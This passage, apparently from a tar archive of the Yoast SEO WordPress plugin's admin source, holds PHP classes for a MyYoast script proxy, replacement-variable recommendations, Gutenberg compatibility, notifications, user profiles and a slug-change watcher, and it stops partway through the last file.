wordpress-seo/admin/class-my-yoast-proxy.php000064400000014217147510273110015233 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Loads the MyYoast proxy.
 *
 * This class registers a proxy page on `admin.php`. Which is reached with the `page=PAGE_IDENTIFIER` parameter.
 * It will read external files and serves them like they are located locally.
 */
class WPSEO_MyYoast_Proxy implements WPSEO_WordPress_Integration {

	/**
	 * The page identifier used in WordPress to register the MyYoast proxy page.
	 *
	 * @var string
	 */
	public const PAGE_IDENTIFIER = 'wpseo_myyoast_proxy';

	/**
	 * The cache control's max age. Used in the header of a successful proxy response.
	 *
	 * @var int
	 */
	public const CACHE_CONTROL_MAX_AGE = DAY_IN_SECONDS;

	/**
	 * Registers the hooks when the user is on the right page.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( ! $this->is_proxy_page() ) {
			return;
		}

		// Register the page for the proxy.
		add_action( 'admin_menu', [ $this, 'add_proxy_page' ] );
		add_action( 'admin_init', [ $this, 'handle_proxy_page' ] );
	}

	/**
	 * Registers the proxy page. It does not actually add a link to the dashboard.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function add_proxy_page() {
		add_dashboard_page( '', '', 'read', self::PAGE_IDENTIFIER, '' );
	}

	/**
	 * Renders the requested proxy page and exits to prevent the WordPress UI from loading.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function handle_proxy_page() {
		$this->render_proxy_page();

		// Prevent the WordPress UI from loading.
		exit;
	}

	/**
	 * Renders the requested proxy page.
	 *
	 * This is separated from the exits to be able to test it.
	 *
	 * @return void
	 */
	public function render_proxy_page() {
		$proxy_options = $this->determine_proxy_options();
		if ( $proxy_options === [] ) {
			// Do not accept any other file than implemented.
			$this->set_header( 'HTTP/1.0 501 Requested file not implemented' );
			return;
		}

		// Set the headers before serving the remote file.
		$this->set_header( 'Content-Type: ' . $proxy_options['content_type'] );
		$this->set_header( 'Cache-Control: max-age=' . self::CACHE_CONTROL_MAX_AGE );

		try {
			echo $this->get_remote_url_body( $proxy_options['url'] );
		}
		catch ( Exception $e ) {
			/*
			 * Reset the file headers because the loading failed.
			 *
			 * Note: Due to supporting PHP 5.2 `header_remove` can not be used here.
			 * Overwrite the headers instead.
			 */
			$this->set_header( 'Content-Type: text/plain' );
			$this->set_header( 'Cache-Control: max-age=0' );

			$this->set_header( 'HTTP/1.0 500 ' . $e->getMessage() );
		}
	}

	/**
	 * Tries to load the given url via `wp_remote_get`.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param string $url The url to load.
	 *
	 * @return string The body of the response.
	 *
	 * @throws Exception When `wp_remote_get` returned an error.
	 * @throws Exception When the response code is not 200.
	 */
	protected function get_remote_url_body( $url ) {
		$response = wp_remote_get( $url );

		if ( $response instanceof WP_Error ) {
			throw new Exception( 'Unable to retrieve file from MyYoast' );
		}

		if ( wp_remote_retrieve_response_code( $response ) !== 200 ) {
			throw new Exception( 'Received unexpected response from MyYoast' );
		}

		return wp_remote_retrieve_body( $response );
	}

	/**
	 * Determines the proxy options based on the file and plugin version arguments.
	 *
	 * When the file is known it returns an array like this:
	 * <code>
	 * $array = array(
	 *  'content_type' => 'the content type'
	 *  'url'          => 'the url, possibly with the plugin version'
	 * )
	 * </code>
	 *
	 * @return array Empty for an unknown file. See format above for known files.
	 */
	protected function determine_proxy_options() {
		if ( $this->get_proxy_file() === 'research-webworker' ) {
			return [
				'content_type' => 'text/javascript; charset=UTF-8',
				'url'          => 'https://my.yoast.com/api/downloads/file/analysis-worker?plugin_version=' . $this->get_plugin_version(),
			];
		}

		return [];
	}

	/**
	 * Checks if the current page is the MyYoast proxy page.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return bool True when the page request parameter equals the proxy page.
	 */
	protected function is_proxy_page() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		$page = isset( $_GET['page'] ) && is_string( $_GET['page'] ) ? sanitize_text_field( wp_unslash( $_GET['page'] ) ) : '';
		return $page === self::PAGE_IDENTIFIER;
	}

	/**
	 * Returns the proxy file from the HTTP request parameters.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return string The sanitized file request parameter or an empty string if it does not exist.
	 */
	protected function get_proxy_file() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['file'] ) && is_string( $_GET['file'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			return sanitize_text_field( wp_unslash( $_GET['file'] ) );
		}
		return '';
	}

	/**
	 * Returns the plugin version from the HTTP request parameters.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return string The sanitized plugin_version request parameter or an empty string if it does not exist.
	 */
	protected function get_plugin_version() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( isset( $_GET['plugin_version'] ) && is_string( $_GET['plugin_version'] ) ) {
			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			$plugin_version = sanitize_text_field( wp_unslash( $_GET['plugin_version'] ) );
			// Replace slashes to secure against requiring a file from another path.
			return str_replace( [ '/', '\\' ], '_', $plugin_version );
		}
		return '';
	}

	/**
	 * Sets the HTTP header.
	 *
	 * This is a tiny helper function to enable better testing.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param string $header The header to set.
	 *
	 * @return void
	 */
	protected function set_header( $header ) {
		header( $header );
	}
}
wordpress-seo/admin/class-admin-recommended-replace-vars.php000064400000013760147510273110020226 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Determines the recommended replacement variables based on the context.
 */
class WPSEO_Admin_Recommended_Replace_Vars {

	/**
	 * The recommended replacement variables.
	 *
	 * @var array
	 */
	protected $recommended_replace_vars = [
		// Posts types.
		'page'                     => [ 'sitename', 'title', 'sep', 'primary_category' ],
		'post'                     => [ 'sitename', 'title', 'sep', 'primary_category' ],
		// Homepage.
		'homepage'                 => [ 'sitename', 'sitedesc', 'sep' ],
		// Custom post type.
		'custom_post_type'         => [ 'sitename', 'title', 'sep' ],

		// Taxonomies.
		'category'                 => [ 'sitename', 'term_title', 'sep', 'term_hierarchy' ],
		'post_tag'                 => [ 'sitename', 'term_title', 'sep' ],
		'post_format'              => [ 'sitename', 'term_title', 'sep', 'page' ],

		// Custom taxonomy.
		'term-in-custom-taxonomy'  => [ 'sitename', 'term_title', 'sep', 'term_hierarchy' ],

		// Settings - archive pages.
		'author_archive'           => [ 'sitename', 'title', 'sep', 'page' ],
		'date_archive'             => [ 'sitename', 'sep', 'date', 'page' ],
		'custom-post-type_archive' => [ 'sitename', 'title', 'sep', 'page' ],

		// Settings - special pages.
		'search'                   => [ 'sitename', 'searchphrase', 'sep', 'page' ],
		'404'                      => [ 'sitename', 'sep' ],
	];

	/**
	 * Determines the page type of the current term.
	 *
	 * @param string $taxonomy The taxonomy name.
	 *
	 * @return string The page type.
	 */
	public function determine_for_term( $taxonomy ) {
		$recommended_replace_vars = $this->get_recommended_replacevars();
		if ( array_key_exists( $taxonomy, $recommended_replace_vars ) ) {
			return $taxonomy;
		}

		return 'term-in-custom-taxonomy';
	}

	/**
	 * Determines the page type of the current post.
	 *
	 * @param WP_Post $post A WordPress post instance.
	 *
	 * @return string The page type.
	 */
	public function determine_for_post( $post ) {
		if ( $post instanceof WP_Post === false ) {
			return 'post';
		}

		if ( $post->post_type === 'page' && $this->is_homepage( $post ) ) {
			return 'homepage';
		}

		$recommended_replace_vars = $this->get_recommended_replacevars();
		if ( array_key_exists( $post->post_type, $recommended_replace_vars ) ) {
			return $post->post_type;
		}

		return 'custom_post_type';
	}

	/**
	 * Determines the page type for a post type.
	 *
	 * @param string $post_type The name of the post_type.
	 * @param string $fallback  The page type to fall back to.
	 *
	 * @return string The page type.
	 */
	public function determine_for_post_type( $post_type, $fallback = 'custom_post_type' ) {
		$page_type                   = $post_type;
		$recommended_replace_vars    = $this->get_recommended_replacevars();
		$has_recommended_replacevars = $this->has_recommended_replace_vars( $recommended_replace_vars, $page_type );

		if ( ! $has_recommended_replacevars ) {
			return $fallback;
		}

		return $page_type;
	}

	/**
	 * Determines the page type for an archive page.
	 *
	 * @param string $name     The name of the archive.
	 * @param string $fallback The page type to fall back to.
	 *
	 * @return string The page type.
	 */
	public function determine_for_archive( $name, $fallback = 'custom-post-type_archive' ) {
		$page_type                   = $name . '_archive';
		$recommended_replace_vars    = $this->get_recommended_replacevars();
		$has_recommended_replacevars = $this->has_recommended_replace_vars( $recommended_replace_vars, $page_type );

		if ( ! $has_recommended_replacevars ) {
			return $fallback;
		}

		return $page_type;
	}

	/**
	 * Retrieves the recommended replacement variables for the given page type.
	 *
	 * @param string $page_type The page type.
	 *
	 * @return array The recommended replacement variables.
	 */
	public function get_recommended_replacevars_for( $page_type ) {
		$recommended_replace_vars     = $this->get_recommended_replacevars();
		$has_recommended_replace_vars = $this->has_recommended_replace_vars( $recommended_replace_vars, $page_type );

		if ( ! $has_recommended_replace_vars ) {
			return [];
		}

		return $recommended_replace_vars[ $page_type ];
	}

	/**
	 * Retrieves the recommended replacement variables.
	 *
	 * @return array The recommended replacement variables.
	 */
	public function get_recommended_replacevars() {
		/**
		 * Filter: Adds the possibility to add extra recommended replacement variables.
		 *
		 * @param array $additional_replace_vars Empty array to add the replacevars to.
		 */
		$recommended_replace_vars = apply_filters( 'wpseo_recommended_replace_vars', $this->recommended_replace_vars );

		if ( ! is_array( $recommended_replace_vars ) ) {
			return $this->recommended_replace_vars;
		}

		return $recommended_replace_vars;
	}

	/**
	 * Returns whether the given page type has recommended replace vars.
	 *
	 * @param array  $recommended_replace_vars The recommended replace vars
	 *                                         to check in.
	 * @param string $page_type                The page type to check.
	 *
	 * @return bool True if there are associated recommended replace vars.
	 */
	private function has_recommended_replace_vars( $recommended_replace_vars, $page_type ) {
		if ( ! isset( $recommended_replace_vars[ $page_type ] ) ) {
			return false;
		}

		if ( ! is_array( $recommended_replace_vars[ $page_type ] ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Determines whether or not a post is the homepage.
	 *
	 * @param WP_Post $post The WordPress global post object.
	 *
	 * @return bool True if the given post is the homepage.
	 */
	private function is_homepage( $post ) {
		if ( $post instanceof WP_Post === false ) {
			return false;
		}

		/*
		 * The page on front returns a string with normal WordPress interaction, while the post ID is an int.
		 * This way we make sure we always compare strings.
		 */
		$post_id       = (int) $post->ID;
		$page_on_front = (int) get_option( 'page_on_front' );

		return get_option( 'show_on_front' ) === 'page' && $page_on_front === $post_id;
	}
}
wordpress-seo/admin/class-gutenberg-compatibility.php000064400000004741147510273110017124 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Gutenberg_Compatibility
 */

/**
 * Class WPSEO_Gutenberg_Compatibility
 */
class WPSEO_Gutenberg_Compatibility {

	/**
	 * The currently released version of Gutenberg.
	 *
	 * @var string
	 */
	public const CURRENT_RELEASE = '19.9.0';

	/**
	 * The minimally supported version of Gutenberg by the plugin.
	 *
	 * @var string
	 */
	public const MINIMUM_SUPPORTED = '19.9.0';

	/**
	 * Holds the current version.
	 *
	 * @var string
	 */
	protected $current_version = '';

	/**
	 * WPSEO_Gutenberg_Compatibility constructor.
	 */
	public function __construct() {
		$this->current_version = $this->detect_installed_gutenberg_version();
	}

	/**
	 * Determines whether or not Gutenberg is installed.
	 *
	 * @return bool Whether or not Gutenberg is installed.
	 */
	public function is_installed() {
		return $this->current_version !== '';
	}

	/**
	 * Determines whether or not the currently installed version of Gutenberg is below the minimum supported version.
	 *
	 * @return bool True if the currently installed version is below the minimum supported version. False otherwise.
	 */
	public function is_below_minimum() {
		return version_compare( $this->current_version, $this->get_minimum_supported_version(), '<' );
	}

	/**
	 * Gets the currently installed version.
	 *
	 * @return string The currently installed version.
	 */
	public function get_installed_version() {
		return $this->current_version;
	}

	/**
	 * Determines whether or not the currently installed version of Gutenberg is the latest, fully compatible version.
	 *
	 * @return bool Whether or not the currently installed version is fully compatible.
	 */
	public function is_fully_compatible() {
		return version_compare( $this->current_version, $this->get_latest_release(), '>=' );
	}

	/**
	 * Gets the latest released version of Gutenberg.
	 *
	 * @return string The latest release.
	 */
	protected function get_latest_release() {
		return self::CURRENT_RELEASE;
	}

	/**
	 * Gets the minimum supported version of Gutenberg.
	 *
	 * @return string The minumum supported release.
	 */
	protected function get_minimum_supported_version() {
		return self::MINIMUM_SUPPORTED;
	}

	/**
	 * Detects the currently installed Gutenberg version.
	 *
	 * @return string The currently installed Gutenberg version. Empty if the version couldn't be detected.
	 */
	protected function detect_installed_gutenberg_version() {
		if ( defined( 'GUTENBERG_VERSION' ) ) {
			return GUTENBERG_VERSION;
		}

		return '';
	}
}
wordpress-seo/admin/class-yoast-notification.php000064400000023506147510273110016116 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Notifications
 * @since   1.5.3
 */

/**
 * Implements individual notification.
 */
class Yoast_Notification {

	/**
	 * Type of capability check.
	 *
	 * @var string
	 */
	public const MATCH_ALL = 'all';

	/**
	 * Type of capability check.
	 *
	 * @var string
	 */
	public const MATCH_ANY = 'any';

	/**
	 * Notification type.
	 *
	 * @var string
	 */
	public const ERROR = 'error';

	/**
	 * Notification type.
	 *
	 * @var string
	 */
	public const WARNING = 'warning';

	/**
	 * Notification type.
	 *
	 * @var string
	 */
	public const UPDATED = 'updated';

	/**
	 * Options of this Notification.
	 *
	 * Contains optional arguments:
	 *
	 * -             type: The notification type, i.e. 'updated' or 'error'
	 * -               id: The ID of the notification
	 * -            nonce: Security nonce to use in case of dismissible notice.
	 * -         priority: From 0 to 1, determines the order of Notifications.
	 * -    dismissal_key: Option name to save dismissal information in, ID will be used if not supplied.
	 * -     capabilities: Capabilities that a user must have for this Notification to show.
	 * - capability_check: How to check capability pass: all or any.
	 * -  wpseo_page_only: Only display on wpseo page or on every page.
	 *
	 * @var array
	 */
	private $options = [];

	/**
	 * Contains default values for the optional arguments.
	 *
	 * @var array
	 */
	private $defaults = [
		'type'             => self::UPDATED,
		'id'               => '',
		'user_id'          => null,
		'nonce'            => null,
		'priority'         => 0.5,
		'data_json'        => [],
		'dismissal_key'    => null,
		'capabilities'     => [],
		'capability_check' => self::MATCH_ALL,
		'yoast_branding'   => false,
	];

	/**
	 * The message for the notification.
	 *
	 * @var string
	 */
	private $message;

	/**
	 * Notification class constructor.
	 *
	 * @param string $message Message string.
	 * @param array  $options Set of options.
	 */
	public function __construct( $message, $options = [] ) {
		$this->message = $message;
		$this->options = $this->normalize_options( $options );
	}

	/**
	 * Retrieve notification ID string.
	 *
	 * @return string
	 */
	public function get_id() {
		return $this->options['id'];
	}

	/**
	 * Retrieve the user to show the notification for.
	 *
	 * @deprecated 21.6
	 * @codeCoverageIgnore
	 *
	 * @return WP_User The user to show this notification for.
	 */
	public function get_user() {
		_deprecated_function( __METHOD__, 'Yoast SEO 21.6' );
		return null;
	}

	/**
	 * Retrieve the id of the user to show the notification for.
	 *
	 * Returns the id of the current user if not user has been sent.
	 *
	 * @return int The user id
	 */
	public function get_user_id() {
		return ( $this->options['user_id'] ?? get_current_user_id() );
	}

	/**
	 * Retrieve nonce identifier.
	 *
	 * @return string|null Nonce for this Notification.
	 */
	public function get_nonce() {
		if ( $this->options['id'] && empty( $this->options['nonce'] ) ) {
			$this->options['nonce'] = wp_create_nonce( $this->options['id'] );
		}

		return $this->options['nonce'];
	}

	/**
	 * Make sure the nonce is up to date.
	 *
	 * @return void
	 */
	public function refresh_nonce() {
		if ( $this->options['id'] ) {
			$this->options['nonce'] = wp_create_nonce( $this->options['id'] );
		}
	}

	/**
	 * Get the type of the notification.
	 *
	 * @return string
	 */
	public function get_type() {
		return $this->options['type'];
	}

	/**
	 * Priority of the notification.
	 *
	 * Relative to the type.
	 *
	 * @return float Returns the priority between 0 and 1.
	 */
	public function get_priority() {
		return $this->options['priority'];
	}

	/**
	 * Get the User Meta key to check for dismissal of notification.
	 *
	 * @return string User Meta Option key that registers dismissal.
	 */
	public function get_dismissal_key() {
		if ( empty( $this->options['dismissal_key'] ) ) {
			return $this->options['id'];
		}

		return $this->options['dismissal_key'];
	}

	/**
	 * Is this Notification persistent.
	 *
	 * @return bool True if persistent, False if fire and forget.
	 */
	public function is_persistent() {
		$id = $this->get_id();

		return ! empty( $id );
	}

	/**
	 * Check if the notification is relevant for the current user.
	 *
	 * @return bool True if a user needs to see this notification, false if not.
	 */
	public function display_for_current_user() {
		// If the notification is for the current page only, always show.
		if ( ! $this->is_persistent() ) {
			return true;
		}

		// If the current user doesn't match capabilities.
		return $this->match_capabilities();
	}

	/**
	 * Does the current user match required capabilities.
	 *
	 * @return bool
	 */
	public function match_capabilities() {
		// Super Admin can do anything.
		if ( is_multisite() && is_super_admin( $this->options['user_id'] ) ) {
			return true;
		}

		/**
		 * Filter capabilities that enable the displaying of this notification.
		 *
		 * @param array              $capabilities The capabilities that must be present for this notification.
		 * @param Yoast_Notification $notification The notification object.
		 *
		 * @return array Array of capabilities or empty for no restrictions.
		 *
		 * @since 3.2
		 */
		$capabilities = apply_filters( 'wpseo_notification_capabilities', $this->options['capabilities'], $this );

		// Should be an array.
		if ( ! is_array( $capabilities ) ) {
			$capabilities = (array) $capabilities;
		}

		/**
		 * Filter capability check to enable all or any capabilities.
		 *
		 * @param string             $capability_check The type of check that will be used to determine if an capability is present.
		 * @param Yoast_Notification $notification     The notification object.
		 *
		 * @return string self::MATCH_ALL or self::MATCH_ANY.
		 *
		 * @since 3.2
		 */
		$capability_check = apply_filters( 'wpseo_notification_capability_check', $this->options['capability_check'], $this );

		if ( ! in_array( $capability_check, [ self::MATCH_ALL, self::MATCH_ANY ], true ) ) {
			$capability_check = self::MATCH_ALL;
		}

		if ( ! empty( $capabilities ) ) {

			$has_capabilities = array_filter( $capabilities, [ $this, 'has_capability' ] );

			switch ( $capability_check ) {
				case self::MATCH_ALL:
					return $has_capabilities === $capabilities;
				case self::MATCH_ANY:
					return ! empty( $has_capabilities );
			}
		}

		return true;
	}

	/**
	 * Array filter function to find matched capabilities.
	 *
	 * @param string $capability Capability to test.
	 *
	 * @return bool
	 */
	private function has_capability( $capability ) {
		$user_id = $this->options['user_id'];
		if ( ! is_numeric( $user_id ) ) {
			return false;
		}
		$user = get_user_by( 'id', $user_id );
		if ( ! $user ) {
			return false;
		}

		return $user->has_cap( $capability );
	}

	/**
	 * Return the object properties as an array.
	 *
	 * @return array
	 */
	public function to_array() {
		return [
			'message' => $this->message,
			'options' => $this->options,
		];
	}

	/**
	 * Adds string (view) behaviour to the notification.
	 *
	 * @return string
	 */
	public function __toString() {
		return $this->render();
	}

	/**
	 * Renders the notification as a string.
	 *
	 * @return string The rendered notification.
	 */
	public function render() {
		$attributes = [];

		// Default notification classes.
		$classes = [
			'yoast-notification',
		];

		// Maintain WordPress visualisation of notifications when they are not persistent.
		if ( ! $this->is_persistent() ) {
			$classes[] = 'notice';
			$classes[] = $this->get_type();
		}

		if ( ! empty( $classes ) ) {
			$attributes['class'] = implode( ' ', $classes );
		}

		// Combined attribute key and value into a string.
		array_walk( $attributes, [ $this, 'parse_attributes' ] );

		$message = null;
		if ( $this->options['yoast_branding'] ) {
			$message = $this->wrap_yoast_seo_icon( $this->message );
		}

		if ( $message === null ) {
			$message = wpautop( $this->message );
		}

		// Build the output DIV.
		return '<div ' . implode( ' ', $attributes ) . '>' . $message . '</div>' . PHP_EOL;
	}

	/**
	 * Get the message for the notification.
	 *
	 * @return string The message.
	 */
	public function get_message() {
		return wpautop( $this->message );
	}

	/**
	 * Wraps the message with a Yoast SEO icon.
	 *
	 * @param string $message The message to wrap.
	 *
	 * @return string The wrapped message.
	 */
	private function wrap_yoast_seo_icon( $message ) {
		$out  = sprintf(
			'<img src="%1$s" height="%2$d" width="%3$d" class="yoast-seo-icon" />',
			esc_url( plugin_dir_url( WPSEO_FILE ) . 'packages/js/images/Yoast_SEO_Icon.svg' ),
			60,
			60
		);
		$out .= '<div class="yoast-seo-icon-wrap">';
		$out .= $message;
		$out .= '</div>';

		return $out;
	}

	/**
	 * Get the JSON if provided.
	 *
	 * @return false|string
	 */
	public function get_json() {
		if ( empty( $this->options['data_json'] ) ) {
			return '';
		}

		return WPSEO_Utils::format_json_encode( $this->options['data_json'] );
	}

	/**
	 * Make sure we only have values that we can work with.
	 *
	 * @param array $options Options to normalize.
	 *
	 * @return array
	 */
	private function normalize_options( $options ) {
		$options = wp_parse_args( $options, $this->defaults );

		// Should not exceed 0 or 1.
		$options['priority'] = min( 1, max( 0, $options['priority'] ) );

		// Set default capabilities when not supplied.
		if ( empty( $options['capabilities'] ) || $options['capabilities'] === [] ) {
			$options['capabilities'] = [ 'wpseo_manage_options' ];
		}

		// Set to the id of the current user if not supplied.
		if ( $options['user_id'] === null ) {
			$options['user_id'] = get_current_user_id();
		}

		return $options;
	}

	/**
	 * Format HTML element attributes.
	 *
	 * @param string $value Attribute value.
	 * @param string $key   Attribute name.
	 *
	 * @return void
	 */
	private function parse_attributes( &$value, $key ) {
		$value = sprintf( '%s="%s"', sanitize_key( $key ), esc_attr( $value ) );
	}
}
wordpress-seo/admin/class-admin-user-profile.php000064400000006373147510273110016000 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 * @since   1.8.0
 */

/**
 * Customizes user profile.
 */
class WPSEO_Admin_User_Profile {

	/**
	 * Class constructor.
	 */
	public function __construct() {
		add_action( 'update_user_meta', [ $this, 'clear_author_sitemap_cache' ], 10, 3 );
	}

	/**
	 * Clear author sitemap cache when settings are changed.
	 *
	 * @since 3.1
	 *
	 * @param int    $meta_id   The ID of the meta option changed.
	 * @param int    $object_id The ID of the user.
	 * @param string $meta_key  The key of the meta field changed.
	 *
	 * @return void
	 */
	public function clear_author_sitemap_cache( $meta_id, $object_id, $meta_key ) {
		if ( $meta_key === '_yoast_wpseo_profile_updated' ) {
			WPSEO_Sitemaps_Cache::clear( [ 'author' ] );
		}
	}

	/**
	 * Updates the user metas that (might) have been set on the user profile page.
	 *
	 * @deprecated 22.6
	 * @codeCoverageIgnore
	 *
	 * @param int $user_id User ID of the updated user.
	 *
	 * @return void
	 */
	public function process_user_option_update( $user_id ) {
		_deprecated_function( __METHOD__, 'Yoast SEO 22.6' );

		update_user_meta( $user_id, '_yoast_wpseo_profile_updated', time() );

		if ( ! check_admin_referer( 'wpseo_user_profile_update', 'wpseo_nonce' ) ) {
			return;
		}

		$wpseo_author_title                        = isset( $_POST['wpseo_author_title'] ) ? sanitize_text_field( wp_unslash( $_POST['wpseo_author_title'] ) ) : '';
		$wpseo_author_metadesc                     = isset( $_POST['wpseo_author_metadesc'] ) ? sanitize_text_field( wp_unslash( $_POST['wpseo_author_metadesc'] ) ) : '';
		$wpseo_noindex_author                      = isset( $_POST['wpseo_noindex_author'] ) ? sanitize_text_field( wp_unslash( $_POST['wpseo_noindex_author'] ) ) : '';
		$wpseo_content_analysis_disable            = isset( $_POST['wpseo_content_analysis_disable'] ) ? sanitize_text_field( wp_unslash( $_POST['wpseo_content_analysis_disable'] ) ) : '';
		$wpseo_keyword_analysis_disable            = isset( $_POST['wpseo_keyword_analysis_disable'] ) ? sanitize_text_field( wp_unslash( $_POST['wpseo_keyword_analysis_disable'] ) ) : '';
		$wpseo_inclusive_language_analysis_disable = isset( $_POST['wpseo_inclusive_language_analysis_disable'] ) ? sanitize_text_field( wp_unslash( $_POST['wpseo_inclusive_language_analysis_disable'] ) ) : '';

		update_user_meta( $user_id, 'wpseo_title', $wpseo_author_title );
		update_user_meta( $user_id, 'wpseo_metadesc', $wpseo_author_metadesc );
		update_user_meta( $user_id, 'wpseo_noindex_author', $wpseo_noindex_author );
		update_user_meta( $user_id, 'wpseo_content_analysis_disable', $wpseo_content_analysis_disable );
		update_user_meta( $user_id, 'wpseo_keyword_analysis_disable', $wpseo_keyword_analysis_disable );
		update_user_meta( $user_id, 'wpseo_inclusive_language_analysis_disable', $wpseo_inclusive_language_analysis_disable );
	}

	/**
	 * Add the inputs needed for SEO values to the User Profile page.
	 *
	 * @deprecated 23.4
	 * @codeCoverageIgnore
	 *
	 * @param WP_User $user User instance to output for.
	 *
	 * @return void
	 */
	public function user_profile( $user ) {
		_deprecated_function( __METHOD__, 'Yoast SEO 23.4' );
		wp_nonce_field( 'wpseo_user_profile_update', 'wpseo_nonce' );

		require_once WPSEO_PATH . 'admin/views/user-profile.php';
	}
}
wordpress-seo/admin/watchers/class-slug-change-watcher.php000064400000017023147510273110017740 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Watchers
 */

/**
 * Class WPSEO_Slug_Change_Watcher.
 */
class WPSEO_Slug_Change_Watcher implements WPSEO_WordPress_Integration {

	/**
	 * Registers all hooks to WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		// If the current plugin is Yoast SEO Premium, stop registering.
		if ( YoastSEO()->helpers->product->is_premium() ) {
			return;
		}

		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );

		// Detect a post trash.
		add_action( 'wp_trash_post', [ $this, 'detect_post_trash' ] );

		// Detect a post delete.
		add_action( 'before_delete_post', [ $this, 'detect_post_delete' ] );

		// Detects deletion of a term.
		add_action( 'delete_term_taxonomy', [ $this, 'detect_term_delete' ] );
	}

	/**
	 * Enqueues the quick edit handler.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		global $pagenow;

		if ( ! in_array( $pagenow, [ 'edit.php', 'edit-tags.php' ], true ) ) {
			return;
		}

		$asset_manager = new WPSEO_Admin_Asset_Manager();
		$asset_manager->enqueue_script( 'quick-edit-handler' );
	}

	/**
	 * Shows a message when a post is about to get trashed.
	 *
	 * @param int $post_id The current post ID.
	 *
	 * @return void
	 */
	public function detect_post_trash( $post_id ) {
		if ( ! $this->is_post_viewable( $post_id ) ) {
			return;
		}

		$post_label = $this->get_post_type_label( get_post_type( $post_id ) );

		/* translators: %1$s expands to the translated name of the post type. */
		$first_sentence  = sprintf( __( 'You just trashed a %1$s.', 'wordpress-seo' ), $post_label );
		$second_sentence = __( 'Search engines and other websites can still send traffic to your trashed content.', 'wordpress-seo' );
		$message         = $this->get_message( $first_sentence, $second_sentence );

		$this->add_notification( $message );
	}

	/**
	 * Shows a message when a post is about to get trashed.
	 *
	 * @param int $post_id The current post ID.
	 *
	 * @return void
	 */
	public function detect_post_delete( $post_id ) {
		if ( ! $this->is_post_viewable( $post_id ) ) {
			return;
		}

		$post_label = $this->get_post_type_label( get_post_type( $post_id ) );

		/* translators: %1$s expands to the translated name of the post type. */
		$first_sentence  = sprintf( __( 'You just deleted a %1$s.', 'wordpress-seo' ), $post_label );
		$second_sentence = __( 'Search engines and other websites can still send traffic to your deleted content.', 'wordpress-seo' );
		$message         = $this->get_message( $first_sentence, $second_sentence );

		$this->add_notification( $message );
	}

	/**
	 * Shows a message when a term is about to get deleted.
	 *
	 * @param int $term_taxonomy_id The term taxonomy ID that will be deleted.
	 *
	 * @return void
	 */
	public function detect_term_delete( $term_taxonomy_id ) {
		if ( ! $this->is_term_viewable( $term_taxonomy_id ) ) {
			return;
		}

		$term       = get_term_by( 'term_taxonomy_id', (int) $term_taxonomy_id );
		$term_label = $this->get_taxonomy_label_for_term( $term->term_id );

		/* translators: %1$s expands to the translated name of the term. */
		$first_sentence  = sprintf( __( 'You just deleted a %1$s.', 'wordpress-seo' ), $term_label );
		$second_sentence = __( 'Search engines and other websites can still send traffic to your deleted content.', 'wordpress-seo' );
		$message         = $this->get_message( $first_sentence, $second_sentence );

		$this->add_notification( $message );
	}

	/**
	 * Checks if the post is viewable.
	 *
	 * @param string $post_id The post id to check.
	 *
	 * @return bool Whether the post is viewable or not.
	 */
	protected function is_post_viewable( $post_id ) {
		$post_type = get_post_type( $post_id );
		if ( ! WPSEO_Post_Type::is_post_type_accessible( $post_type ) ) {
			return false;
		}

		$post_status = get_post_status( $post_id );
		if ( ! $this->check_visible_post_status( $post_status ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Checks if the term is viewable.
	 *
	 * @param int $term_taxonomy_id The term taxonomy ID to check.
	 *
	 * @return bool Whether the term is viewable or not.
	 */
	protected function is_term_viewable( $term_taxonomy_id ) {
		$term = get_term_by( 'term_taxonomy_id', (int) $term_taxonomy_id );

		if ( ! $term || is_wp_error( $term ) ) {
			return false;
		}

		$taxonomy = get_taxonomy( $term->taxonomy );
		if ( ! $taxonomy ) {
			return false;
		}

		return $taxonomy->publicly_queryable || $taxonomy->public;
	}

	/**
	 * Gets the taxonomy label to use for a term.
	 *
	 * @param int $term_id The term ID.
	 *
	 * @return string The taxonomy's singular label.
	 */
	protected function get_taxonomy_label_for_term( $term_id ) {
		$term     = get_term( $term_id );
		$taxonomy = get_taxonomy( $term->taxonomy );

		return $taxonomy->labels->singular_name;
	}

	/**
	 * Retrieves the singular post type label.
	 *
	 * @param string $post_type Post type to retrieve label from.
	 *
	 * @return string The singular post type name.
	 */
	protected function get_post_type_label( $post_type ) {
		$post_type_object = get_post_type_object( $post_type );

		// If the post type of this post wasn't registered default back to post.
		if ( $post_type_object === null ) {
			$post_type_object = get_post_type_object( 'post' );
		}

		return $post_type_object->labels->singular_name;
	}

	/**
	 * Checks whether the given post status is visible or not.
	 *
	 * @param string $post_status The post status to check.
	 *
	 * @return bool Whether or not the post is visible.
	 */
	protected function check_visible_post_status( $post_status ) {
		$visible_post_statuses = [
			'publish',
			'static',
			'private',
		];

		return in_array( $post_status, $visible_post_statuses, true );
	}

	/**
	 * Returns the message around changed URLs.
	 *
	 * @param string $first_sentence  The first sentence of the notification.
